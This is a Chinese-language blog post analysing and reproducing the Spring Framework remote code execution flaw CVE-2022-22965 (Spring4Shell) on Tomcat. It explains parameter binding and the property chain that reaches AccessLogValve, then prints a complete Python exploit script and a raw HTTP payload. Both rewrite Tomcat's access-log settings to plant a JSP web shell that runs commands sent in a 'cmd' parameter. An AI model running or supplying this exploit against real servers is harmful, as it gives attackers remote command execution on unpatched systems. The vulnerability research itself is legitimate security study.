目 录CONTENT

文章目录

Spring-beans RCE漏洞原理分析与复现(CVE-2022-22965)

Administrator
2022-10-30 / 0 评论 / 0 点赞 / 2291 阅读 / 10678 字

Spring-beans RCE漏洞分析

说明

  • 要求条件:
  • JDK9及其以上版本;
  • 使⽤了Spring-beans包;
  • 使⽤了Spring参数绑定;
  • Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可;

受影响范围:

Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK ≥ 9

不受影响版本:

Spring Framework = 5.3.18
Spring Framework = 5.2.20
JDK < 9

  • 与Tomcat版本有关

Tomcat测试结果

微信截图_20221016171108.png

作者已注销账号

https://github.com/p1n93r/spring-rce-war

基础知识

Spring参数自动绑定

http://localhost:8083/addUser?name=wuya&department.name=sec
微信截图_20221016171211.png

原理:

User.getDepartment()
 Department.setName()

多级参数绑定

参数名赋值:contry.province.city.district=yuelu
调用链路:
Contry.getProvince()
 Province.getCity()
  City.getDistrict()
   District.setDistrictName()

BeanWrapperImpl

Spring自带:
BeanWrapperImpl
对Spring容器中管理的对象,自动调用get/set方法

思路

通过Controller的参数赋值(自动绑定),
可以修改任意对象的属性值
改什么?

微信截图_20221016171939.png

access_log属性

  • directory: access_log文件输出目录
  • prefix: access_log文件名前缀
  • suffix: access_log文件名后缀
  • pattern: access_log文件内容格式
  • fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

org.apache.catalina.valves.AccessLogValve 对象

漏洞复现

环境

  • 操作系统:Windows
  • JDK:11.0.11
  • Tomcat:9.0.60
  • SpringBoot:2.6.3(注意不使用内置Tomcat)
  • 把ROOT.war包放在tomcat/webapps目录下

准备内容

部署到tomcat/webapps/ROOT

微信截图_20221016172238.png

利用

exploit.py --url http://localhost:7299/addUser

python代码如下

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="wuya")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
        print(f"[+] Shell should be at: {location}?cmd=whoami")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()

原理分析

HTTP payload

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int
a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } }
%{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suff
ix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.direct
ory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipel
ine.first.prefix=wuya&class.module.classLoader.resources.context.parent.pipeli
ne.first.fileDateFormat=""

微信截图_20221016172803.png

调用链

class.module.classLoader.resources.context.parent.pipeline.first.pattern
User.getClass()
 java.lang.Class.getModule()
  java.lang.Module.getClassLoader()
   org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
    org.apache.catalina.webresources.StandardRoot.getContext()
     org.apache.catalina.core.StandardContext.getParent()
      org.apache.catalina.core.StandardHost.getPipeline()
       org.apache.catalina.core.StandardPipeline.getFirst()
        org.apache.catalina.valves.AccessLogValve.setPattern()

0

评论区